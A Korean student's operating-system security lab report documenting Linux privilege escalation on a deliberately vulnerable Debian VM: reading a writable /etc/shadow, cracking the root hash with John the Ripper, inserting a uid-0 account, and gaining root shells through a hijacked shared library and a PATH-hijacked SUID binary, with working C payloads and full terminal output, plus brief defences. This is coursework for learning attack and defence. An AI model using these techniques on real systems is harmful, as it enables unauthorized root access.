REPORT

2 번 과제 : [File Permission & Access Control 실습]

과 목 명 : 운영체제보안 2 분반
담당교수 : 조성제 교수님
소　　속 : 소프트웨어학과
학　　번 : 32200327
이　　름 : 김경민
제 출 일 : 2022 년 11 월 14 일

단국대학교
Dankook University

목차

A. 첫번째 문제

① LSE Script 실행 및 취약 요소 파악

```
================================================================( system )=====
[i] sys000 Who is logged in..................................................... skip
[i] sys010 Last logged in users................................................. skip
[!] sys020 Does the /etc/passwd have hashes?.................................... nope
[!] sys022 Does the /etc/group have hashes?..................................... nope
[!] sys030 Can we read /etc/shadow file?........................................ yes!
---
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8
r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjw
YpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::
```

./lse.sh -i –l 1 명령어로 스크립트를 실행한 후 **/etc/shadow** 파일을 읽을 수 있음을 확인한다**.** /etc/shadow 에는 사용자의 비밀번호가 해시함수로 암호화되어 저장되어 있기 때문에 해당 파일을 읽을 수 있다는 것은 위험 요소이고 이는 시스템의 취약점이 될 수 있다.

```
user@debian:~/tools/privesc-scripts$ ls -al /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25  2019 /etc/shadow
```

ls -al 명령어를 통해 /etc/shadow 파일의 상세 정보를 확인한 결과 해당 파일의 소유자는 root 이고 shadow 라는 그룹에 속해 있다. 접근 권한은 파일 소유주인 root 와 group 외의 사용자가 파일을 읽거나 쓸 수 있는 것으로 설정되어 있는데 이는 제 3 자가 다른 사용자의 비밀번호를 함부로 바꿔 쓸 수 있다는 의미이므로 해당 시스템의 취약점이라 할 수 있다.

```
user@debian:~/tools/privesc-scripts$ head -n 1 /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.
jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
user@debian:~/tools/privesc-scripts$
```

root 계정의 비밀번호 또한 확인할 수 있었고 6(해시알고리즘에: SHA-512)라는 해시알고리즘에 의해 암호화 되어 저장되어 있다는 것을 확인할 수 있었다. Root 계정의 비밀번호에 대한 정보가 모두 노출되어 있고 이를 수정할 수도 있기 때문에 공격자는 이 점을 이용해 root 계정을 탈취할 수 있게 된다.

② Password Crack

```
┌──(kali㉿kali)-[~/Desktop/kali/Desktop/work_dir]
└─$ vi hash.txt

┌──(kali㉿kali)-[~/Desktop/kali/Desktop/work_dir]
└─$
```

Kali 를 이용해 해시화된 root 계정의 비밀번호를 알아낼 수 있다. ①에서 확인한 root 계정의 비밀번호를 복사하여 kali 에서 적당한 디렉토리를 만들고 hash.txt 파일에 저장한다.

```
┌──(kali㉿kali)-[~/Desktop/kali/Desktop/work_dir]
└─$ sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
[sudo] password for kali:

┌──(kali㉿kali)-[~/Desktop/kali/Desktop/work_dir]
└─$ sudo john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.tx
t hash.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)
1g 0:00:00:02 DONE (2022-11-13 12:34) 0.3937g/s 604.7p/s 604.7c/s 604.7C/s cu
ties..mexico1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Kali 의 cracking 도구인 john the ripper 를 사용해 일반적으로 사용되는 암호 목록이 포함된 텍스트 파일인 rockyou 텍스트 파일과 hast.txt 에 저장했던 root 계정 비밀번호를 대조하여 비밀번호를 알아낸다. 또한 이때 root 비밀번호가 sha512 해시 알고리즘을 사용해 해시화 되었으므로 format 에 sha512 를 지정해준다. 이렇게 명령어를 실행한 결과 root 계정의 패스워드가 password123 이라는 것을 알아낼 수 있다.

③ Password 재지정 및 root 권한 계정 생성

root 계정의 password 도 알아냈고 /etc/shadow 파일에 접근해 read, write 가 모두 가능하기 때문에 패스워드를 변경하여 시스템을 장악할 수 있다.

```
┌──(kali㉿kali)-[~/Desktop/kali/Desktop/work_dir]
└─$ mkpasswd -m sha-512 newpassword
$6$QgC0fqtXjfphmjYL$jz/QbZK9ie8RfwWU0pt74Nga/RIKRsXS1E/PeUT8BsCqp2wONoqlKJ8jby7geu0Q
Aznl.Q2E8iBoaky//vUDY.
```

Kali 의 mkpasswd 명령어를 사용해 newpassword 를 sha512 해시 알고리즘으로 암호화하여 해시 암호화된 새로운 비밀번호를 생성할 수 있다.

```
root:$6$QgC0fqtXjfphmjYL$jz/QbZK9ie8RfwWU0pt74Nga/RIKRsXS1E/PeUT8BsCqp2wONoqlKJ8
jby7geu0QAznl.Q2E8iBoaky//vUDY.:17298:0:99999:7:::
```

```
login as: root
root@192.168.0.12's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Nov  8 10:31:01 2022 from 192.168.0.9
root@debian:~# cd /home/user/tools
root@debian:/home/user/tools# ls -al
total 32
drwxr-xr-x 8 user user 4096 May 15  2020 .
drwxr-xr-x 5 user user 4096 Nov  8 09:34 ..
drwxr-xr-x 4 user user 4096 May 15  2020 kernel-exploits
drwxr-xr-x 2 user user 4096 May 15  2020 mysql-udf
drwxr-xr-x 2 user user 4096 May 15  2020 nginx
drwxr-xr-x 2 user user 4096 Nov  8 08:56 privesc-scripts
drwxr-xr-x 2 user user 4096 May 15  2020 sudo
drwxr-xr-x 3 user user 4096 May 15  2020 suid
root@debian:/home/user/tools# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user/tools# whomai
-bash: whomai: command not found
root@debian:/home/user/tools# whoami
root
root@debian:/home/user/tools# 32200327 kyungminkim
```

이렇게 얻은 새로운 해시값을 root 비밀번호로 대체하고 Putty 를 재실행 한 다음 로그인 아이디를 root 계정으로 하고 비밀번호는 방금 전 수정한 비밀번호(newpassword)를 넣어주면 위 사진과 같이 root 권한을 획득한 것을 확인할 수 있다.

```
kyungmin:$6$QgC0fqtXjfphmjYL$jz/QbZK9ie8RfwWU0pt74Nga/RIKRsXS1E/PeUT8BsCqp2wONoq
lKJ8jby7geu0QAznl.Q2E8iBoaky//vUDY.:0:0:root:/root:/bin/bash
```

```
kyungmin@192.168.0.12's password:
Access denied
kyungmin@192.168.0.12's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Nov  8 10:27:54 2022 from 192.168.0.9
root@debian:~# cd /home/user/tools
root@debian:/home/user/tools# ls -al
total 32
drwxr-xr-x 8 user user 4096 May 15  2020 .
drwxr-xr-x 5 user user 4096 Nov  8 09:34 ..
drwxr-xr-x 4 user user 4096 May 15  2020 kernel-exploits
drwxr-xr-x 2 user user 4096 May 15  2020 mysql-udf
drwxr-xr-x 2 user user 4096 May 15  2020 nginx
drwxr-xr-x 2 user user 4096 Nov  8 08:56 privesc-scripts
drwxr-xr-x 2 user user 4096 May 15  2020 sudo
drwxr-xr-x 3 user user 4096 May 15  2020 suid
root@debian:/home/user/tools# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user/tools# whoami
root
root@debian:/home/user/tools# 32200327 kyungminkim
```

또한 나의 이름(kyungmin)으로 새로운 계정을 만들고 비밀번호도 방금 전 새로 생성한 newpassword 에 해당하는 해시값을 넣어준 후 root 권한을 설정해준다. Putty 를 재실행 후 새로 만든 계정으로 로그인하였을 때 성공적으로 로그인하고 권한 또한 root 로 나오는 것을 확인할 수 있었다.

B. 두번째 문제

① 프로그램 취약 요소 확인 후 inject 코드 오버라이딩

```
user@debian:~$ cd /usr/local/bin
user@debian:/usr/local/bin$ ls -al
total 44
drwxrwsr-x  2 root staff 4096 May 14  2017 .
drwxrwsr-x 10 root staff 4096 May 13  2017 ..
-rwxr--r--  1 root staff   53 May 13  2017 compress.sh
-rwxr--rw-  1 root staff   40 May 13  2017 overwrite.sh
-rwsr-sr-x  1 root staff 6883 May 14  2017 suid-env
-rwsr-sr-x  1 root staff 6899 May 14  2017 suid-env2
-rwsr-sr-x  1 root staff 9861 May 14  2017 suid-so
user@debian:/usr/local/bin$
```

먼저 2 번째 실습에 사용할 실행 파일인 suid-so 파일을 확인했다. 해당 파일의 소유주는 root 이고 setuid 설정이 되어있다. 따라서 이 실행 파일은 실행 시 실행자의 euid 를 root 의 uid 인 0 으로 바꾸게 된다. 하지만 실행자가 root 가 아니라면 euid 만 root 의 uid 로 바꾸고 ruid 는 실행한 사용자의 uid 로 남게 된다.

```
user@debian:~$  /usr/local/bin/suid-so
Calculating something, please wait...
[================================================================>] 99 %
Done.
user@debian:~$ strace  /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no su
ch file"
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or dir
ectory)
user@debian:~$
```

아무런 조치를 취하지 않은 상태에서 suid-so 를 실행했을 때 결과를 확인해본다. 사용자 계정 또한 변화 없이 user 그대로임을 확인할 수 있다. 그리고 strace 명령어를 사용해 suid-so 를 분석해본 결과 /home/user/.config 에 libcalc.so 라는 공유라이브러리를 open 하여

접근하고 있지만 해당 경로에 이 공유라이브러리가 존재하지 않음을 확인할 수 있다. user 계정에서 해당 경로는 쉽게 접근할 수 있기 때문에 이러한 점을 이용하여 해당 경로에 libcalc.so 라는 이름의 shell 코드를 삽입하면 suid-so 실행파일은 이 가짜 공유라이브러리를 open 하게 될 것이고 이때 shell 코드가 동작하여 공격을 가할 수 있다.

```
user@debian:/usr/local/bin$ cat /home/user/tools/suid/libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}
user@debian:/usr/local/bin$
```

공유라이브러리로 속일 용도로 작성한 shell code 는 setuid 를 0 으로 설정해주어 ruid 와 euid 모두 root 계정의 uid 인 0 으로 만들어준 다음 system() 함수를 통해 root shell 을 실행시켜주도록 한다.

```
user@debian:~$ mkdir /home/user/.config
user@debian:~$ gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/t
ools/suid/libcalc.c
user@debian:~$ /usr/local/bin/suid-so
Calculating something, please wait...
bash-4.1# id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root),24(cdrom),25(floppy),
29(audio),30(dip),44(video),46(plugdev),1000(user)
bash-4.1# 32200327 kyungminkim
```

작성한 shell code 를 libcala.so 라는 이름을 갖는 공유라이브러리로 컴파일해주고 실행파일이 접근하는 경로에 넣어준 후 실행파일을 다시 실행시켜 보면 root shell 이 실행되는 것으로 알 수 있다.

C. 세번째 문제

① 프로그램 취약 요소 확인 후 inject 코드 오버라이딩

```
user@debian:/usr/local/bin$ ls -al
total 44
drwxrwsr-x  2 root staff 4096 May 14  2017 .
drwxrwsr-x 10 root staff 4096 May 13  2017 ..
-rwxr--r--  1 root staff   53 May 13  2017 compress.sh
-rwxr--rw-  1 root staff   40 May 13  2017 overwrite.sh
-rwsr-sr-x  1 root staff 6883 May 14  2017 suid-env
-rwsr-sr-x  1 root staff 6899 May 14  2017 suid-env2
-rwsr-sr-x  1 root staff 9861 May 14  2017 suid-so
```

3 번째 실습에 사용할 실행 파일인 suid-env 파일을 확인했다. 2 번 과제에서 사용한 실행파일과 동일하게 해당 파일의 소유주는 root 이고 setuid 설정이 되어있다. 따라서 이 실행 파일은 실행 시 실행자의 euid 를 root 의 uid 인 0 으로 바꾸게 된다. 하지만 실행자가 root 가 아니라면 euid 만 root 의 uid 로 바꾸고 ruid 는 실행한 사용자의 uid 로 남게 된다.

```
user@debian:~$ /usr/local/bin/suid-env
[....] Starting web server: apache2httpd (pid 1605) already running
. ok
user@debian:~$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start
```

Strings 명령어를 사용해 실행파일에 사용된 문자열을 출력해주면 Service 문자열을 확인할 수 있다. Service 명령어는 시스템 서비스를 조작하기 위한 명령어로 suid-env 프로그램에서는 apache2 서비스를 시작하기 위해 해당 명령어를 사용한 것으로 유추할 수 있다.

```
user@debian:~$ cat /home/user/tools/suid/service.c
int main() {
        setuid(0);
        system("/bin/bash -p");
}
user@debian:~$ gcc -o service /home/user/tools/suid/service.c
user@debian:~$ PATH=.:$PATH /usr/local/bin/suid-env
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video)
,46(plugdev),1000(user)
root@debian:~# whoami
root
root@debian:~# 32200327 kyungminkim
```

suid-env 프로그램에서 service 라는 명령어를 실행한다는 점을 이용하여 Inject 코드가 들어있는 service.c 파일을 . 디렉토리에서 실행파일로 컴파일해 주고 환경변수를 . 으로 설정해준다. 이렇게 설정 후 suid-env 실행파일을 실행시켜주면 기존의 service 명령어가 아닌 . 디렉토리에 있는 service 를 참조하면서 inject 코드가 작동하게 되고 그 결과 root 계정으로 바뀌게 된다.

D. 네번째 문제

myprogram.c 파일을 그대로 실행파일로 만들게 되면 find_inode 라는 함수가 없다고 나오면서 에러 메시지가 뜨게 된다. 이는 실행하는 프로그램이 공유라이브러리를 참조하지 못해서 발생하는 문제이다. 이를 해결하기 위해서는 2 가지 방법이 있는데 첫번째는 라이브러리들이 저장되어 있는

① 실행프로그램과 공유라이브러리 작성

```
root@debian:/usr/local/bin# cat myprogram.c
//export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/user/.config
#include <stdio.h>
#include <dirent.h>

int main(){ //int argc, char* argv[]

        printf("------------print link list-------------\n");

        find_link();
        return 0;
}
```

```
root@debian:/usr/local/bin# cat find_link.c
//공유라이브러리
#include <stdio.h>
#include <dirent.h>

void find_link(){

        struct dirent *de;
        DIR *dir = opendir("./");

        if(dir != NULL){

                while((de = readdir(dir)) != NULL){
                        char file_name[] = "./";
                        strcat(file_name,de->d_name);
                        printf("file_name : %s\n",file_name);


                        //make command str
                        char command[] = "find / -samefile ";
                        char str2[] = " 2>/dev/null\n";
                        strcat(command, de->d_name);
                        strcat(command, str2);

                        printf("command: %s\n",command);

                        system(command);
                        printf("-------------------------------------------------\n");
                }
                closedir(dir);
        }
}
```

내가 작성한 실행프로그램(/usr/local/bin/myprogram)은 현재 디렉토리에 존재하는 각 파일들에 링크된 파일을 출력하는 역할을 수행한다. 본 프로그램은 위와 같이 작성하였고, 실제 파일을 읽어들이고 링크 파일을 찾는 과정은 find_link() 함수를 통해 진행된다. find_link() 함수는 공유라이브러리에 존재하는 함수로 위 사진과 가팅 find_link.c 파일에 함수를 작성하여 공유라이브러리로 컴파일하였다. 프로그램의 소유주는 root 이고 setuid 설정을 진행해야 하는데 user 계정에서는 chown, chmod 명령어 실행시 permission denied 가 뜨기 때문에 프로그램 작성을 포함하여 ①~③의 과정은 root 계정에서 진행하였다.

② 공유 라이브러리 등록 및 실행 프로그램 컴파일(setuid 설정)

```
root@debian:/usr/local/bin# ls -al
total 84
drwxrwsr-x 2 root staff 4096 Nov 13 08:39 .
drwxrwsr-x 9 root staff 4096 Nov 12 10:10 ..
-rw-r--r-- 1 root staff 1006 Nov  9 09:25 1
-rwsr-xr-x 3 root user     6 Nov  9 07:33 a.txt
-rwsr-xr-x 3 root user     6 Nov  9 07:33 b.txt
-rwxr--r-- 1 root staff   53 May 13  2017 compress.sh
-rw-r--r-- 1 root staff  890 Nov 12 12:58 find_link.c
-rw-r--r-- 1 root staff 2360 Nov 12 12:58 find_link.o
-rwxr-xr-x 1 root staff 7137 Nov 13 08:10 libfind_link.so
-rwsr-xr-x 1 root staff 7007 Nov 13 08:24 myprogram
-rw-r--r-- 1 root staff  222 Nov 13 08:39 myprogram.c
-rwxr--rw- 1 root staff   40 May 13  2017 overwrite.sh
-rwsr-sr-x 1 root staff 6883 May 14  2017 suid-env
-rwsr-sr-x 1 root staff 6899 May 14  2017 suid-env2
-rwsr-sr-x 1 root staff 9861 May 14  2017 suid-so
```

find_link.c 를 공유라이브러리로 만들어 사용하기 위해서 **gcc -c -fPIC find_link.c ,**

gcc -shared -o libfind_link.so find_link.o .so 명령어를 각각 실행하여 .o 파일로 컴파일한 후 .so 파일로 컴파일했다.

```
libexpatw.so.1.5.2                libpcreposix.so.0.0.2
libexslt.so.0                     libpcre.so
libexslt.so.0.8.15                libperl.a
libfind_inode.so                  libperl.so
libfind_link.so                   libperl.so.5.10
libform.a                         libperl.so.5.10.1
libform.so                        libpthread.a
libform.so.5                      libpthread_nonshared.a
libform.so.5.7                    libpthread.so
libformw.so.5                     libpython2.6.so.1
libformw.so.5.7                   libpython2.6.so.1.0
```

또한 gcc -o myprogram myprogram.c 명령어를 사용해 실행프로그램을 컴파일하려고 했지만 find_link() 함수에 대한 참조 정보가 없기 때문에 실패했다. 라이브러리 환경변수를 내가 작성한 공유라이브러리 경로로 설정하는 방법도 있지만 기본적으로 /usr/lib 에 접근하여 라이브러리 정보를 참조하기 때문에 각종 라이브러리들이 저장되어 있는 /usr/lib 파일에 libfind_link.so 공유라이브러리를 저장한다.

다음으로 **gcc myprogram.c -o myprogram -lmyshared -L.** 명령어를 사용해 실행파일을 컴파일 해준 후 **chmod 4755 myprogram** 명령어를 사용하여 setuid 를 설정해준다.

③ 공유 라이브러리 경로 추가

컴파일을 위해 /usr/lib 폴더에 공유라이브러리를 저장하였지만 2 번 방법처럼 root 권한 탈취를 위한 shell code 를 공유라이브러리에 덮어씌울 때 user 권한으로 lib 폴더에 있는 파일에 접근하여 덮어씌우는 것이 불가능하므로 user 계정에서 사용자가 접근할 수 있는 공유라이브러리 경로를 추가해줘야 한다.

```
root@debian:/usr/local/bin# cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf

root@debian:/usr/local/bin# ls /etc/ld.so.conf.d/
libc.conf  x86_64-linux-gnu.conf
root@debian:/usr/local/bin# cat /etc/ld.so.conf.d/libc.conf
# libc default configuration
/usr/local/lib

root@debian:/usr/local/bin#
```

```
root@debian:~# vi /etc/ld.so.conf.d/libc.conf
root@debian:~# sudo ldconfig
root@debian:~# cat /etc/ld.so.conf.d/libc.conf
#libc default configuration
/usr/local/lib
/home/user/.config
```

따라서 실행프로그램을 컴파일하는 과정에서 포함되는 것이 아닌 프로그램 실행 시점에서 동적으로 라이브러리를 호출 기능을 사용하여 공유 라이브러리에 대한 경로를 추가하고 이를 이용해 권한상승 공격을 진행해보려고 한다.

로더는 ld.so.conf 파일에 명시된 경로에서 동적 라이브러리를 찾아 로딩하게 된다. 따라서 /etc/ld.so.conf.d/libc.conf 파일을 출력해보면 기본적으로 /usr/local/lib 경로에 찾고자 하는 동적라이브러리들을 로딩하여 사용한다고 나와 있고, 여기에 user 계정으로 접근할 수 있는 /home/user/.config 경로를 추가해준다. 경로 추가 후에는 **sudo ldconfig** 명령어를 실행하여 변경사항을 적용시켜줘야 한다. 이렇게 설정을 해주면 user 계정에서 프로그램 실행 시 libfibdlink.so 공유 라이브러리를 /usr/local/lib 와 /home/user/.config 경로에서 찾게 될 것이다.

④ user 계정에서 실행프로그램 분석

```
user@debian:~$ /usr/local/bin/myprogram
------------print link list-------------
file_name : ./work_dir
command: find / -samefile work_dir 2>/dev/null

/home/user/work_dir
-----------------------------------------------
file_name : ./.nano_history
command: find / -samefile .nano_history 2>/dev/null

/home/user/.nano_history
-----------------------------------------------
file_name : ./tools
command: find / -samefile tools 2>/dev/null

/home/user/tools
-----------------------------------------------
file_name : ./usr
command: find / -samefile usr 2>/dev/null

/home/user/usr
-----------------------------------------------
file_name : ./.john
command: find / -samefile .john 2>/dev/null

/home/user/.john
-----------------------------------------------
file_name : ./.irssi
command: find / -samefile .irssi 2>/dev/null

/home/user/.irssi
-----------------------------------------------
```

공격전 프로그램이 정상적으로 작동하는 모습이다.

```
user@debian:~$ strace /usr/local/bin/myprogram 2>&1 | grep -iE "open|access|no s
uch file"
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/home/user/.config/libfind_link.so", O_RDONLY) = -1 ENOENT (No such file o
r directory)
open("/lib/tls/x86_64/libfind_link.so", O_RDONLY) = -1 ENOENT (No such file or d
irectory)
stat("/lib/tls/x86_64", 0x7fffefd64b50) = -1 ENOENT (No such file or directory)
open("/lib/tls/libfind_link.so", O_RDONLY) = -1 ENOENT (No such file or director
y)
stat("/lib/tls", 0x7fffefd64b50)        = -1 ENOENT (No such file or directory)
open("/lib/x86_64/libfind_link.so", O_RDONLY) = -1 ENOENT (No such file or direc
tory)
```

strace 를 통해 프로그램을 분석한 결과 /home/user/.config 밑에 libfind_link.so 공유라이브러리를 open 하려고 했으나 파일이 없다는 내용을 확인할 수 있다. 컴파일시 해당 라이브러리를 로딩하여 실행프로그램을 만들었기 때문에 프로그램 실행은 정상적으로

되지만 프로그램이 실행되면서 동적으로 공유라이브러리를 다시 로딩하기 위해 지정해줬던 경로에 접근한 것이다. 만약 여기 /home/user/.config/libfind_link.so 파일이 존재했다면 이 공유라이브러리가 컴파일시 링킹 되었던 libfind_link.so 파일을 오버라이딩하고 /home/user/.config/libfind_link.so 가 다시 로딩되어 실행된다.

⑤ injection 코드 작성 및 공유라이브러리로 컴파일

```
user@debian:~$ cat /home/user/tools/work_dir/libfind_link.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}
user@debian:~$
```

```
user@debian:~$ gcc -shared -fPIC -o /home/user/.config/libfind_link.so /home/user/tools/work_
dir/libfind_link.c
user@debian:~$ cd /home/user/.config
user@debian:~/.config$ ls
libcalc.so  libfind_inode.so  libfind_link.so
user@debian:~/.config$
```

동적으로 경로에 접근한다는 것을 확인했으므로 위 사진처럼 setuid(0) 설정하여 root 계정으로 권한을 상승하고 root shell 인 bash shell 을 호출하는 코드를 작성한 후 /home/user/.config 경로에 공유라이브러로 컴파일하여 저장한다.

```
user@debian:~$ /usr/local/bin/myprogram
root@debian:~# id
uid=0(root) gid=1000(user) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46
(plugdev),1000(user)
root@debian:~# whoami
root
root@debian:~# 32200327 kyungminkim
```

그리고 다시 프로그램 실행 결과 이렇게 root shell 이 실행되고 id 출력 결과 root 로 바뀐 것을 확인할 수 있다.

⑥ 취약점 방어 방법

SetUID 가 지정되어 있는 파일들을 find 명령어를 통해 검색한 후 사용자가 파일을 실행하는데에 있어서 SetUID 설정이 불필요한 파일의 경우 SetUID 권한을 제거해주는 방법이 있다. 또한 user 계정에서 접근할 수 있는 경로에 공유라이브러리가 존재하도록 경로 설정이 되어있는데 이러한 경로 설정에 주의하거나 사용자가 함부로 공유라이브러리를 오버라이딩 하지 못하도록 해야 한다. 또한 극단적인 방법으로 system() 함수 자체를 수행하지 못하도록 하는 방법도 있다.

E. 고찰

① 과제 난이도 및 아쉬운점

개인적으로 1 번 과제는 버퍼 오버플로우를 이용해 처음으로 해킹을 시도해본 것이기 때문에 처음에는 감도 잘 안 잡히고 어렵게 느껴졌던 것 같다. 버퍼 오버플로우에 대한 수업이 과제 시작 전에 진행되었으면 좀 더 수월했을 것 같다고 생각한다. 특히 나의 경우 재컴파일 하지 않으면 gdb 실행이 되지 않는다거나 랜덤화가 적용되어 있어 실행시마다 주소가 변하면서 payload 작성이 쉽지 않았던 것 같다.

2 번째 과제의 경우 따라서 하는 과제가 많아서 비교적 쉬운 것처럼 느껴졌지만 2, 3 번 과제에 대한 설명이 너무 적어 정확하게 어떤 방식으로 공격이 이루어지는지 파악하기가 힘들었고 구글링을 해도 명확한 답이 나오지 않아 내가 이해한 것이 정확히 맞는지 혼란스러운 순간이 있었던 것 같다. 공유 라이브러리나 동적 라이브러리 로딩 등에 관련하여 많이 찾아보며 배울 수 있어서 많은 도움이 되었다고 생각하지만 /home/user/.config 같은 경로에 공유라이브러리가 처음부터 존재해야 하는 것인지 공격시에 새로 만들어야 하는 것인지, root 계정에서 실행파일을 생성하고 공유라이브러리 경로 설정을 해주는게 맞는지 등 과제를 하면서 고민이 많이 되었던 것 같다.

하지만 전체적으로 스스로 열심히 고민해본다면 명확하진 않더라도 어느정도 풀 수 있는 문제라고 생각했고 과제에 대한 실마리를 얻어 실제로 공격에 성공했을 때 수수께끼를 푸는데 성공한 느낌을 받을 수 있어서 꽤 재미있었다고 생각한다.

② 조사/실습해보고 싶은 보안이슈

개인적으로 안드로이드 앱개발에 관심이 많기 때문에 안드로이드 보안 이슈와 관련된 실조사나 실습을 진행해보고 싶다. 그리고 안드로이드와 ios 를 비교했을 때 왜 ios 가 보안에 더 강하다고 하는지도 알아보고 싶다. 또 수업시간에 배웠던 ROP 공격이 code chunk 를 이용해 직접 함수를 호출하지 않아도 여러 함수를 연속으로 수행한다는 점이 흥미로워서 실습해보고 싶었다.

[참고자료]

(동적라이브러리 관련)

리눅스 동적 라이브러리 (공유 라이브러리) 생성하기 — 내 저장소 (tistory.com)

linuxism :: linux - 공유 라이브러리 등록 및 출력 (ip.or.kr)

https://naver.me/FyxN3LTp

https://naver.me/5dyfp3Rr

https://naver.me/G1F9J0HI

https://www.sysnet.pe.kr/2/0/11847

https://stackoverflow.com/questions/16710047/usr-bin-ld-cannot-find-lnameofthelibrary

https://blog.opid.kr/402 (프로그램 기능 설계시 참고)

https://question0921.tistory.com/808 (service 명령어)